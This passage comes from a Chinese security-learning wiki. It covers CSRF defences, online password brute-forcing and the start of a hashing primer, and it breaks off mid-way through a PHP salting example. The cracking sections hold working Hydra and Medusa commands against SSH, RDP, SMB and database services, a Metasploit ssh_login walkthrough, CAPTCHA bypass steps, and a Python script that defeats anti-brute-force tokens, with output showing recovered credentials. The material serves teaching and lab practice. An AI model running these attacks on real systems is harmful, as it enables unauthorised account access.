Cookies)这种方法涉及生成两个Token,一个存储在用户的Cookie中,另一个作为表单的一部分随请求发送.服务器将验证两个Token是否匹配.因为攻击者无法读取目标网站的Cookie,所以这个方法在一定程度上能防止CSRF攻击. 自定义请求头(Custom Request Headers)大多数CSRF攻击方法依赖于浏览器自动携带诸如Cookies和Authentication data等凭证.可以通过要求所有可能导致状态变化的HTTP请求携带一个自定义的请求头(例如:X-Requested-With: XMLHttpRequest)来帮助防御CSRF攻击.服务器将检查这个自定义头的存在性,它不会被普通的表单提交所携带,因此可以用来区别非法请求. 同源策略(SameSite Cookie Attribute)最新的浏览器支持SameSite Cookie属性,可以设置为Strict或Lax.这个属性用于控制Cookie是否可以跨站点提交.当设置为Strict时,Cookie将只在请求是从同一网站发出时发送,这可以有效地阻止CSRF攻击. HTTPS使用HTTPS可以防止中间人攻击,这可以防止攻击者截获或篡改请求.虽然这对直接防御CSRF没有帮助,但它可以增强整体的通信安全,包括Token的传输. 限制跨站点脚本(XSS)防止XSS攻击是防止CSRF的重要一环,因为XSS可以被用来绕过同源策略,从而窃取Cookies和Token等.确保应用充分防御XSS,例如使用内容安全策略(CSP),转义用户输入,以及使用安全的编程实践."},{"title":"二. 在线密码破解","path":"/wiki/VulnerabilityInsightDocs/二. 在线密码破解.html","content":"总字符数: 21.80K 代码: 13.47K, 文本: 4.29K 预计阅读时间: 1.29 小时 在线密码破解 防范措施 确保所有认证尝试都是通过安全的、加密的通道进行,例如使用SSL/TLS. 实现账号锁定机制,即在一定时间内密码尝试失败次数达到阈值时,暂时锁定账号. 限制登录尝试的频率和总次数,减缓攻击速度. 使用多因素认证,增加额外的安全层次. 破解思路 钓鱼攻击,引诱用户透露自己的凭证. 社交工程,通过欺骗手段获取用户信息. 使用键盘记录器或恶意软件捕捉用户的凭证. 在没有适当防范措施的系统上尝试常见密码或使用密码喷洒攻击(尝试大量账户与少数几个可能的密码组合). 优势 攻击者可以直接确认密码是否正确. 如果系统缺乏监控或者安全防护,破解过程可能不会立即被发现. 劣势 容易触发账号锁定或者其他安全机制. 可能会在系统日志中留下明显的痕迹,引起管理员注意. 通常比离线破解更耗时,尤其是在有登陆尝试限制的情况下. 字典 通过收集网站信息生成字典 1234567cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt-m : 最小单词长度-d : 爬网深度-e : 收集包含email地址信息-c : 每个单词出现次数- 支持基本、摘要 身份认证- 支持代理 https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txthttps://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt Burp概述一个有效的字典可以大大提高暴力破解的效率 比如常用的用户名/密码TOP500 脱裤后的账号密码(社工库) 根据特定的对象(比如手机、生日和银行卡号等)按照指定的规则来生成密码 暴力破解流程 确认登录接口的脆弱性: 尝试登录: 攻击者首先会尝试使用可能的用户名和密码进行登录.这可能包括常见的用户名(如admin、root等)和常见的密码. 抓包: 攻击者使用网络抓包工具(例如Wireshark、Burp Suite等)截取登录请求的数据包,以便分析和模拟登录请求. 观察验证元素和response信息: 攻击者分析登录请求的验证元素(如用户名、密码字段)以及服务器返回的响应信息.他们可能寻找特定的错误信息或验证机制,以确定暴力破解的可能性. 对字典进行优化: 构建密码字典: 攻击者使用密码字典,其中包含可能的密码组合.这个字典可能包括常见密码、弱密码、以及从公开泄漏的密码中获取的信息. 优化字典: 攻击者可能根据目标系统的特点对密码字典进行优化,包括根据目标行业、用户行为、常见密码策略等进行调整,以提高破解效率. 工具自动化操作: 使用暴力破解工具: 攻击者使用自动化工具,如Hydra、Medusa等,通过多线程、多连接方式,自动化地尝试字典中的用户名和密码组合. 调整尝试频率: 攻击者可能调整尝试的频率,以防止被系统的账号锁定机制检测到.他们可能在尝试之间引入延迟,避免触发防护机制. 字典优化是一项重要的工作,它可以提高暴力破解的效率,并更好地适应目标系统的特点. 以下是一些字典优化的技巧: 根据注册提示进行优化: 密码长度要求: 如果系统要求密码长度至少为8位,那么优化字典时可以去掉少于8位的密码.这有助于排除那些不符合长度要求的密码,提高破解的效率. 密码复杂性要求: 如果系统要求密码包含大写字母、小写字母、数字和特殊字符的组合,可以调整字典以包含这些元素,增加破解成功的可能性. 爆破管理后台账号: 常见管理员账号: 管理员账号通常是攻击者爆破的重要目标.使用常见的管理员账号,如admin、administrator、root等,可以增加破解成功的机会. 定制管理员账号: 根据目标系统的特点,可以定制一些可能的管理员账号,包括系统默认的和常见的自定义管理员账号. 根据目标行业或特点定制字典: 行业术语: 如果攻击目标属于特定行业,可以加入与该行业相关的术语、缩写或关键字,以增加猜测密码的准确性. 目标特点: 根据目标系统的特点,如公司名、产品名、品牌名等,将这些信息加入字典,因为攻击者可能尝试使用这些信息作为密码. 使用规则生成密码组合: 规则生成工具: 使用密码生成工具,通过规则生成密码组合.这些规则可以包括大小写转换、数字替换、特殊字符添加等,以生成更多可能的密码组合. 基于历史泄漏数据: 公开泄漏数据: 利用公开泄漏数据中的密码信息,加入字典.这有助于攻击者尝试使用在其他网站泄漏的密码进行攻击. 根据社工情报调整字典: 社会工程学信息: 根据可能从社会工程学攻击中获得的信息,例如用户的兴趣、爱好、生日等,优化字典. 基于表单的暴力破解 输入错误时,有以下提示 这里没有验证码等其他验证机制,抓包看看 发送到Intruder进行暴力破解 设置好Payload 然后把username or password is not exists复制到Grep Match中.后面可以利用Grep Match区分哪些请求里面有这个字符串 然后就可以开始攻击了,匹配到username or password is not exists都是攻击失败的,另外,从响应长度也可以看出攻击成功与否 验证码绕过(on server)验证码可以用来防止恶意注册、防止暴力破解.服务端验证码常见问题: 验证码在后台不过期,导致长期可以使用 验证码校验不严格,逻辑出现问题 验证码设计的太过简单和有规律,容易被猜解 我们先简单的测试一下,不输入验证码的情况下会提示验证码为空,输入错误验证码的情况下会提示验证码错误,只有验证码正确的前提下才会提示账号或密码不存在 下面通过抓包判断一下服务器端有没有对验证码进行验证,发现是有的 说明后端对验证码是有验证的,我们来了解一下验证码生成的逻辑 刷新页面的时候,我们会向后台发送一个请求 后台收到请求会生成一个验证码并在session中把验证码保存下来. 我们先生成一个新的验证码,然后在BurpSuite中输入正确的验证码 提示账号密码不存在 我们换个密码再发送一次 发现依然是提示账号密码不存在,正常来说应该提示验证码错误,这说明验证码长期有效,我们发送到Intruder中直接暴力破解 验证码绕过(on client) 这里我们需要输入验证码,通过查看源码,发现验证码的验证逻辑是在客户端实现的 这个JavaScript会从0-9和26个大写字母中随机挑选5个作为验证码,然后用validate()去验证 另外,通过源码也可以看到,我们每点一次验证码,就会调用 createCode()改变验证码 通过BurpSuite发现后台不会对输入错误的验证码进行验证,在浏览器中,输入错误的验证码是有提示的 正常来说会有这个弹窗 说明前端设置的验证码如同虚设,后端不会对验证码进行验证.那么我们不用理会验证码,直接进行暴力破解就可以了 token防爆破 利用开发者工具可以发现这里有一个隐藏的标签 里面的数字就是我们的token,我的每次提交的请求都会有一个token值,后端会验证这个token值 但是这个token已经写到了html页面中,攻击者只需要写个工具,提交认证前都加上这个token就好了 用一个简单的python脚本测试,代码如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051# 导入requests库,用于发送HTTP请求import requests# 导入re库,用于正则表达式匹配import re# 目标URL,这里是一个登录页面的URLurl = "http://192.168.171.133/pikachu/vul/burteforce/bf_token.php"# 定义一个函数,用于获取页面中的token和cookiesdef get_token_and_cookie(url): # 发送GET请求获取页面内容 response = requests.get(url) # 获取页面内容文本 content = response.text # 使用正则表达式匹配页面中的token值 pattern = '(?<=value=")\\w+(?=")' token = re.search(pattern, content).group() # 获取HTTP响应中的cookies cookies = response.cookies # 返回token和cookies return token, cookies# 待尝试的用户名列表users = ["admin", "root"]# 待尝试的密码列表passwds = ["admin", "password", "123456"]# 构造POST请求的数据,包括用户名、密码、token等data = {"submit": "Login"}# 遍历用户名列表for user in users: # 遍历密码列表 for passwd in passwds: # 设置POST请求的用户名和密码 data["username"] = user data["password"] = passwd # 获取页面中的token和cookies data["token"], cookies = get_token_and_cookie(url) # 从cookies中提取PHPSESSID,并构造请求头 cookies = cookies.get_dict() headers = {"Cookie": ""} headers["Cookie"] = "PHPSESSID=" + cookies["PHPSESSID"] # 发送POST请求进行登录尝试 response = requests.post(url, data=data, headers=headers) # 获取登录尝试后的页面内容 content = response.text # 检查页面内容是否包含"login success",如果是则表示登录成功 if "login success" in content: print("username: ", user, "password: ", passwd) 输出结果 msf之的ssh_login一、查看SSH服务的版本信息首先,我们先来使用MSF查看SSH服务的版本信息.先搜寻SSH服务信息收集的模块,执行命令: 1search name:ssh type:auxiliary 可以搜索出大量MSF中的SSH信息收集相关模块,如下所示: 在这里,我们选择使用第13个模块,执行命令: 12use 13show options 可以使用该模块,并且查看该模块的参数.之后我们设定该模块的RHOSTS参数为192.168.64.144,并且执行该模块,结果如下所示: 从上图中可以看出,我们的目标主机的SSH信息收集成功,能够收集到目标设备的SSH版本等信息. 二、对SSH服务进行暴力破解实际上,在上述搜索出来的模块中,我们还可以选择使用第8个模块,对目标主机的SSH服务进行暴力破解,执行命令: 12use 8show options 即可使用该模块,并查看该模块的参数,如下所示: 使用该模块,我们需要指定暴力破解的字典,在MSF中有很多自带的字典,进入 /usr/share/metasploit-framework/data/wordlists/目录下,即可看到很多字典文件,如下所示: 在这里,我们选择自带的字典,并指定好RHOSTS参数,执行该模块.如果我们的字典选择合适,就可以扫描处该设备的SSH用户名和密码,如下所示: hydra-九头蛇 优点: 多协议支持: Hydra支持多种协议,包括SSH、FTP、HTTP等,这使得它能够用于不同类型的服务和系统. 多服务模块: Hydra具有丰富的模块支持,可以轻松添加对新服务的支持,这增加了工具的灵活性. 多种攻击方式: Hydra支持多种密码攻击方式,包括字典攻击、暴力攻击、基于规则的攻击等,使其适用于不同的密码破解场景. 开源且活跃的社区支持: 作为开源工具,Hydra拥有活跃的社区支持,用户可以获得及时的更新和解决方案. 支持代理: Hydra支持使用代理,这使得用户可以通过代理进行匿名化操作,提高隐匿性. 缺点: 稳定性差,程序时常崩溃: Hydra在某些情况下可能不够稳定,容易发生崩溃,这可能导致任务的中断和重新启动. 速度控制不好,容易触发服务屏蔽或锁死机制: Hydra的速度控制相对较简单,可能在攻击过程中产生过多的尝试,从而触发目标服务的屏蔽或锁死机制. 每个主机都会新建进程,每个服务都新建实例: 对于大规模目标破解,Hydra的处理方式可能不够高效.每个主机和服务都会启动新的进程,可能导致系统资源消耗过大. 1234567891011121314151617181920212223-R 还原以前中止或崩溃的会话-S 使用SSL连接-s 指定非默认端口-l 使用登录名进行登录-L 使用账号字典进行破解-p 使用密码进行登录-P 使用密码字典进行破解-e nsr n:空密码破解s:使用的user作为密码破解r:反向登录(把用户名倒叙,当做密码进行尝试.)-C 指定所用格式为"user:password'"字典文件-M 指定破解的目标文件,如果不是默认端口,后面跟上":pot"-o 将破解成功的用户名: 密码写入指定文件-b 指定文件类型(txt(default),json,jsonv1)-f/-F 在找到用户名或密码时退出(f每个主机F主机文件)-t 设置每个目标并行连接数(默认为16)-T 任务总体的并行连接数(默认为64)-w/-W 设置超时时间(默认为32秒)每个线程之间连接等待时间(默认为0)-v/-v/-d 详细模式/显示login+pass每个尝试/调试模式-O 使用老版本SSLV2和V3-q 不输出连接错误信息-U 查看支持破解的服务和协议server 目标ip、某个网段service 指定服务/协议名称OPT 某些模块支持附加输入 简单使用​\t在kali中打开终端,直接输入hydra,可以看到hydra的版本、参数、以及可以爆破的协议. 从图中圈起来的地方可以看到,hydra可以爆破 http、ftp、mysql等多种协议. 爆破SSH我们拿爆破SSH协议来举个栗子. 用 -l 参数指定用户名,-p参数指定密码,后面直接跟目标的IP地址和协议. 1hydra -l root -p root 192.168.64.144 ssh 成功的话,会把账号和密码高亮显示出来. 也可以使用另外一种格式: 1hydra -l root -p root ssh://192.168.64.144 执行的结果都是一样的. 这里主要简单介绍一下用法,我知道我的SSH密码,所以就直接指定密码了. 但很多时候,我们是不知道密码的,所以就要使用密码字典来爆破. 使用字典爆破小写的 -p 是指定密码,大写的 -P是指定字典文件. 12hydra -l root -P 密码字典 192.168.64.144 sshhydra -l root -P ./自己常用的密码字典.txt 192.168.64.144 ssh 可以看到爆破成功了,但只给了一个结果: 12# 如果想看爆破的过程,可以加上 -vV参数,显示执行细节hydra -l root -P ./自己常用的密码字典.txt 192.168.31.144 ssh -vV 上面的密码字典使用的是相对路径,我们也可以把它换成绝对路径: 1hydra -l root -P /opt/PasswordDic/用户名和密码/密码/自己常用的密码字典.txt 192.168.64.144 ssh SSH协议的默认用户是 root,所以上面我们都是指定的用户名,如果不确定用户名,就要指定用户名字典,比如下面这种格式: 1hydra -L ../账号/user500.txt -P /opt/PasswordDic/用户名和密码/密码/自己常用的密码字典.txt 192.168.64.144 ssh 爆破其他协议服务时,把协议名和默认用户名换一下就可以了. 协议对应的服务名和默认密码经常会忘记,下面整理了一些常见的服务爆破格式 Hydra爆破常见服务远程桌面(RDP) 1hydra -l administrator -P 密码字典 192.168.64.144 rdp 共享文件(SMB) 1hydra -l administrator -P 密码字典 192.168.64.144 smb 文件传输(FTP) 1hydra -l 用户名 -P 密码字典 192.168.64.144 ftp 邮箱协议(POP3) 1hydra -l 用户名 -P 密码字典 192.168.64.144 pop3 MSSQL数据库 1hydra -l sa -P 密码字典 192.168.64.144 mssql MySQL数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 mysql Oracle数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 oracle Redis数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 redis PgSQL数据库 1hydra -l 用户名 -P 密码字典 192.168.64.144 postgresql 编译具有 SMB2 支持的 Hydra12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788# 在尝试对系统使用 THC-Hydra 时,我发现 Hydra 9.0 不支持 SMB2.我收到以下错误:[ERROR] invalid reply from target smb://10.10.10.2:445/# 为了获得 SMB2 支持,请执行以下步骤: ┌──(root㉿kill3r)-[/opt]└─# cd /opt┌──(root㉿kill3r)-[/opt]└─# git clone https://github.com/vanhauser-thc/thc-hydra.git┌──(root㉿kill3r)-[/opt]└─# cd thc-hydra ┌──(root㉿kill3r)-[/opt]└─# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \\ libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \\ firebird-dev libmemcached-dev libgpg-error-dev \\ libgcrypt11-dev libgcrypt20-dev libsmbclient-dev# 要安装缺少的 SMB2 支持包,请运行┌──(root㉿kill3r)-[/opt]└─# apt install libsmbclient-dev# 在运行 make 之前,继续运行 ./configure 以验证您的库是否已安装.┌──(root㉿kill3r)-[/opt/thc-hydra]└─# ./configureStarting hydra auto configuration ...Detected 64 Bit Linux OSChecking for zlib (libz.so, zlib.h) ... ... foundChecking for openssl (libssl, libcrypto, ssl.h, sha.h) ... ... foundChecking for gcrypt (libgcrypt.so, gpg-error.h) ... ... foundChecking for idn (libidn.so) ... ... foundChecking for curses (libcurses.so / term.h) ... ... found, color output enabledChecking for pcre (libpcre.so, pcre.h) ... ... foundChecking for Postgres (libpq.so, libpq-fe.h) ... ... foundChecking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ... ... foundChecking for firebird (libfbclient.so) ... ... foundChecking for MYSQL client (libmysqlclient.so, math.h) ... ... NOT found, module Mysql will not support version > 4.xChecking for AFP (libafpclient.so) ... ... NOT found, module Apple Filing Protocol disabled - Apple sucks anywayChecking for NCP (libncp.so / nwcalls.h) ... ... NOT found, module NCP disabledChecking for SAP/R3 (librfc/saprfc.h) ... ... NOT found, module sapr3 disabledGet it from http://www.sap.com/solutions/netweaver/linux/eval/index.aspChecking for libssh (libssh/libssh.h) ... ... foundChecking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so / liboci.a and oci.dll) ... ... NOT found, module Oracle disabledGet basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.htmlChecking for Memcached (libmemcached.so, memcached.h) ... ... found Checking for Freerdp2 (libfreerdp2.so, freerdp/*.h, libwinpr2.so, winpr/*.h) ... ... found Checking for Mongodb (libmongoc-1.0.so, mongoc.h, libbson-1.0.so, bson.h) ... ... found Checking for smbclient (libsmbclient.so, libsmbclient.h) ... ... found Checking for GUI req's (pkg-config, gtk+-2.0) ... ... NOT found, optional anyway Checking for Android specialities ... ... strrchr() found ... RSA_generate_key() found Checking for secure compile option support in gcc ... Compiling... yes Linking... yes Hydra will be installed into .../bin of: /usr/local (change this by running ./configure --prefix=path) ┌──(root㉿kill3r)-[/opt/thc-hydra]└─# make┌──(root㉿kill3r)-[/opt/thc-hydra]└─# ./hydra -l administrator -P ../PasswordDic/1 WIN-O2ML05LMI0F smb2Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-15 16:51:10[WARNING] Workgroup was not specified, using "WORKGROUP"[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task[DATA] attacking smb2://WIN-O2ML05LMI0F:445/[WARNING] 192.168.64.223 might accept any credential[445][smb2] host: WIN-O2ML05LMI0F login: administrator password: 1QAZ@wsx1 of 1 target successfully completed, 1 valid password foundHydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-15 16:51:11 Medusa-美杜莎 Medusa工具是经过并行登陆暴力破解的办法,尝试获取远程考证效劳访问权限.Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare), NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP (AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具. 优点: 模块化设计和支持,使其具有灵活性和扩展性. 稳定性好,适用于大规模并行测试. 良好的速度控制,避免对目标服务的不良影响. 缺点: 不支持RDP(Remote Desktop Protocol),相对于Hydra来说,支持的模块较少. WEB-Form支持存在缺陷,可能在某些场景下表现不如预期. 简单使用123# 用法:Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT] 123456789101112131415161718192021222324252627282930313233343536Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>medusa: 选项需要一个参数 -- 'h'CRITICAL: 未知错误,无法处理命令行选项.ALERT: 必须提供主机信息.语法: Medusa [-h 主机|-H 文件] [-u 用户名|-U 文件] [-p 密码|-P 文件] [-C 文件] -M 模块 [OPT] -h [TEXT] : 目标主机名或 IP 地址 -H [FILE] : 包含目标主机名或 IP 地址的文件 -u [TEXT] : 要测试的用户名 -U [FILE] : 包含要测试的用户名的文件 -p [TEXT] : 要测试的密码 -P [FILE] : 包含要测试的密码的文件 -C [FILE] : 包含组合条目的文件.有关更多信息,请参阅 README. -O [FILE] : 追加日志信息的文件 -e [n/s/ns] : 额外的密码检查([n] 无密码,[s] 密码 = 用户名) -M [TEXT] : 要执行的模块名称(不包括 .mod 扩展名) -m [TEXT] : 要传递给模块的参数.可多次传递不同的参数,并且所有参数都将发送给模块(例如 -m 参数1 -m 参数2,等等) -d : 显示所有已知模块 -n [NUM] : 用于非默认 TCP 端口号 -s : 启用 SSL -g [NUM] : 尝试连接 NUM 秒后放弃连接(默认为 3) -r [NUM] : 重试尝试之间的休眠时间(默认为 3 秒) -R [NUM] : 在放弃之前尝试 NUM 次.总尝试次数将为 NUM + 1. -c [NUM] : 以 usec 为单位等待时间,以验证套接字是否可用(默认为 500 usec). -t [NUM] : 同时测试的登录总数 -T [NUM] : 同时测试的主机总数 -L : 使用一个线程每个用户名并行化登录.默认情况下,处理完整个用户名后再进行下一步. -f : 在找到第一个有效的用户名/密码后停止扫描主机. -F : 在任何主机上找到第一个有效的用户名/密码后停止审核. -b : 抑制启动横幅 -q : 显示模块的用法信息 -v [NUM] : 详细级别 [0 - 6(更多)] -w [NUM] : 错误调试级别 [0 - 10(更多)] -V : 显示版本 -Z [TEXT] : 基于先前扫描的映射恢复扫描 模块详情12345678910111213141516171819202122232425/usr/lib/x86_64-linux-gnu/medusa/modules中的可用模块cvs.mod: 用于对CVS(Concurrent Versions System)版本控制系统进行身份验证和暴力破解.ftp.mod: 用于对FTP(File Transfer Protocol)服务器进行身份验证和暴力破解.http.mod: 用于对HTTP服务器进行身份验证和暴力破解.imap.mod: 用于对IMAP(Internet Message Access Protocol)邮箱服务器进行身份验证和暴力破解.mssql.mod: 用于对Microsoft SQL Server进行身份验证和暴力破解.mysql.mod: 用于对MySQL数据库进行身份验证和暴力破解.nntp.mod: 用于对NNTP(Network News Transfer Protocol)新闻服务器进行身份验证和暴力破解.pcanywhere.mod: 用于对pcAnywhere远程控制软件进行身份验证和暴力破解.pop3.mod: 用于对POP3(Post Office Protocol 3)邮件服务器进行身份验证和暴力破解.postgres.mod: 用于对PostgreSQL数据库进行身份验证和暴力破解.rexec.mod: 用于对rexec(remote execution)远程执行服务进行身份验证和暴力破解.rlogin.mod: 用于对rlogin(remote login)远程登录服务进行身份验证和暴力破解.rsh.mod: 用于对rsh(remote shell)远程shell服务进行身份验证和暴力破解.smbnt.mod: 用于对SMB(Server Message Block)和NTLM进行身份验证和暴力破解.smtp.mod: 用于对SMTP(Simple Mail Transfer Protocol)邮件服务器进行身份验证和暴力破解.smtp-vrfy.mod: 用于对SMTP服务器的用户验证进行暴力破解.snmp.mod: 用于对SNMP(Simple Network Management Protocol)进行身份验证和暴力破解.ssh.mod: 用于对SSH(Secure Shell)远程登录服务进行身份验证和暴力破解.svn.mod: 用于对Subversion版本控制系统进行身份验证和暴力破解.telnet.mod: 用于对Telnet远程登录服务进行身份验证和暴力破解.vmauthd.mod: 用于对VMware的vmauthd服务进行身份验证和暴力破解.vnc.mod: 用于对VNC(Virtual Network Computing)远程桌面服务进行身份验证和暴力破解.web-form.mod: 用于对基于Web表单的身份验证进行暴力破解.wrapper.mod: 用于使用外部脚本或程序进行自定义身份验证. 示例1234567891011121314151617181920212223242526272829303132333435363738394041# 查看可用模块┌──(root㉿kill3r)-[/home/kill3r]└─# medusa -d# 查看模块帮助┌──(root㉿kill3r)-[/home/kill3r]└─# medusa -M postgres -q# 猜解mysql数据库密码┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# medusa -h 192.168.64.232 -u root -P /opt/PasswordDic/密码/top6000.txt -e ns -M mysql -O resultMedusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>ACCOUNT CHECK: [mysql] Host: 192.168.64.232 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: (1 of 6002 complete)ACCOUNT CHECK: [mysql] Host: 192.168.64.232 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: root (2 of 6002 complete)ACCOUNT FOUND: [mysql] Host: 192.168.64.232 User: root Password: root [SUCCESS]# 以下命令指示Medusa经过SMB对主机192.168.64.223上的单个用户(管理员)测试top6000.txt中列出的一切密码."-e ns"指示Medusa另外检查管理员帐户能否有一个空白密码或其密码设置为匹配其用户名(管理员)# 需要注意的是medusa不支持SMB V2协议medusa -h 192.168.64.223 -u administrator -P /opt/PasswordDic/密码/top6000.txt -e ns -M smbnt# 下面的命令行演示了如何执行Medusa的一些并行使用. 这里至少有20个主机和10个用户同时停止测试."-L"选项指示Medusa由用户并行.这意味着针对主机的10个线程中的每个线程都会检查独一用户.medusa -H hosts.txt -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -T 20 -t 10 -L -F -M smbnt# 破解ssh密码┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# medusa -M ssh -h 192.168.64.233 -u root -P /opt/PasswordDic/密码/top6000.txt -e ns -FMedusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>ACCOUNT CHECK: [ssh] Host: 192.168.64.233 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: (1 of 6002 complete)ACCOUNT CHECK: [ssh] Host: 192.168.64.233 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: root (2 of 6002 complete)ACCOUNT FOUND: [ssh] Host: 192.168.64.233 User: root Password: root [SUCCESS]# 同时我们也能够将用户改为文件,同时我们也将线程数调为5┌──(root㉿kill3r)-[/opt/PasswordDic/密码]└─# medusa -M ssh -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -h 192.168.64.233 -t 5# 将输出结果保管在指定文件中mesuda -U /opt/PasswordDic/用户名和密码/账号/user9000.txt -P /opt/PasswordDic/密码/top6000.txt -n 40 -h 192.168.64.233 -M ssh -f -t 5 -O ssh.txt"},{"title":"二. 离线密码破解","path":"/wiki/VulnerabilityInsightDocs/二. 离线密码破解.html","content":"总字符数: 58.63K 代码: 37.36K, 文本: 13.63K 预计阅读时间: 3.69 小时 身份认证 禁止明文传输密码 每次认证使用HASH算法加密密码传输(HASH算法加密容易、解密困难) 服务器端用户数据库应加盐加密保存 破解思路 嗅探获取密码HASH 利用漏洞登录服务器并从用户数据库获取密码HASH 识别HASH类型 长度字符集 利用离线破解工具碰撞密码HASH 优势 离线不会触发密码锁定机制 不会产生大量登录失败日志引起管理员注意 哈希-密码基础专业术语 术语 解释 Plaintext:明文 加密或进行哈希计算之前的数据,通常是文本.但不总是,因为它可以是一张照片或其他文件. Encoding:编码 这不是一种加密形式,只是一种数据表示形式.如 base64或十六进制. Hash:哈希 hash意译是散列,音译是哈希,哈希值是散列函数的输出.哈希也可以用作动词:to hash,意思是生成某些数据的hash(散列) 值. Brute force:暴力破解 通过尝试每个不同的密码或每个不同的密钥来破解加密 Cryptanalysis:密码分析 通过发现基础数学的弱点来攻击密码学(通过发现基数的弱点来攻击密码加密技术) 哈希(散列)函数是什么?哈希函数介绍 ​\tHash函数,又称杂凑函数、散列函数,它能够将任意长度的信息转换成固定长度的哈希值(数字摘要),并且任意不同长度消息或者文件所生成的哈希值是不一样的. 不可逆性: hash函数是没有key的,所以哈希函数是不可逆的,这意味着很难或不可能从哈希函数的输出返回到输入.即使对于相同的输入,好的哈希函数也应该产生唯一的哈希值. 固定输出大小: 哈希函数的输出是固定大小的,不论输入数据的大小.这有助于确保输出的一致性,无论输入是多大. 雪崩效应:在哈希函数或密码散列函数中,微小的输入变化会引起输出完全不同的现象.具体来说,如果输入数据发生了细微的修改,其对应的哈希值将会有很大的差异. 无碰撞性:在输入空间中的任意两个不同的输入值生成的哈希值是唯一的,不会产生碰撞 输出的编码: 哈希函数的输出通常是原始字节,可以通过不同的编码方式进行呈现,例如以64为基数的base64编码或十六进制形式.这样的编码不提供有关原始数据的有用信息. 常见的Hash算法有: MD5算法:以512位数据块为单位来处理输入,产生128位的信息摘要.常用于文件校验. SHA算法:以512位数据块为单位来处理输入,产生160位的哈希值,具有比MD5更强的安全性 SM3国产算法:消息分组长度为512比特,输出256位摘要 hash碰撞 哈希碰撞是指两个不同的输入经过哈希函数后产生相同的输出.哈希函数的设计目标是尽可能避免碰撞,但由于输入空间大于输出空间,必然存在某些输入将会产生相同的输出.然而,好的哈希算法应该使得找到碰撞变得非常困难. MD5和SHA-1确实已经受到攻击,且存在能够制造哈希碰撞的技术,使得它们不再被认为是安全的哈希算法.在实际应用中,特别是对于密码存储等敏感场景,推荐使用更安全的哈希算法,如SHA-256、SHA-3等. MD5碰撞的例子https://www.mscs.dal.ca/~selinger/md5collision/https://www.mscs.dal.ca/~selinger/md5collision/SHA-1碰撞的例子https://shattered.io/https://shattered.io/ 由于哈希碰撞的存在,确实不应该完全依赖于哈希算法来确保密码或数据的安全性.在密码存储中,推荐使用强大且抗碰撞能力较强的哈希算法,并结合适当的安全措施. 例如:使用盐(salt)来增加密码的复杂性。 哈希的用途哈希用于网络安全的两个主要目的: 验证数据的完整性 验证密码 使用hash进行密码验证​\t网络应用程序通常需要验证用户密码,明文存储密码会导致安全问题,如数据库泄露.数据泄露中常见的密码字典rockyou.txt源于明文存储的MySpace密码.密码明文存储使得攻击者能够轻松获得用户密码. 哈希函数是密码存储的安全选择,它是不可逆的,且不需要存储密钥.哈希碰撞是两个不同输入产生相同输出的情况,而彩虹表可用于快速查找哈希值对应的原始密码.为了防范相同密码的问题,可以使用盐增加哈希的复杂性. 像Crackstation(哈希破解网站) 这样的网站内部会使用巨大的彩虹表为无盐哈希(散列)提供快速的密码破解.在已排序的哈希列表中进行查找确实非常快,比尝试直接破解哈希要快得多. 防范彩虹表​\t为了应对彩虹表破解hash,我们可以在密码中添加一个 Salt(加盐操作). Salt是随机生成并存储在数据库中的值,对于每个用户都是独一无二的. ​\t理论上,你可以对所有用户使用相同的salt,但这意味着重复的密码仍然具有相同的hash,并且仍然可以使用该salt创建特定的密码. ​\tSalt被添加到密码的开头或结尾,然后进行哈希计算,这意味着即使每个用户都有相同的密码,他们也会有不同的密码哈希.像bcrypt和sha512crypt这样的哈希(散列)函数会自动进行加盐,盐不需要保密. 实际PHP代码中如何使用Salt123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106<?php// 数据库参数配置$host = 'localhost';$dbUser = 'root';$dbPassword = '123456';$dbName = 'mydatabase';// 使用mysqli对象方式创建数据库连接$conn = new mysqli($host, $dbUser, $dbPassword);// 检查数据库连接是否成功if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error . "</br>"); }// 检查数据库是否存在$db_selected = mysqli_select_db($conn, $dbName);if (!$db_selected) { // SQL语句,如果数据库不存在则创建数据库 $sql = "CREATE 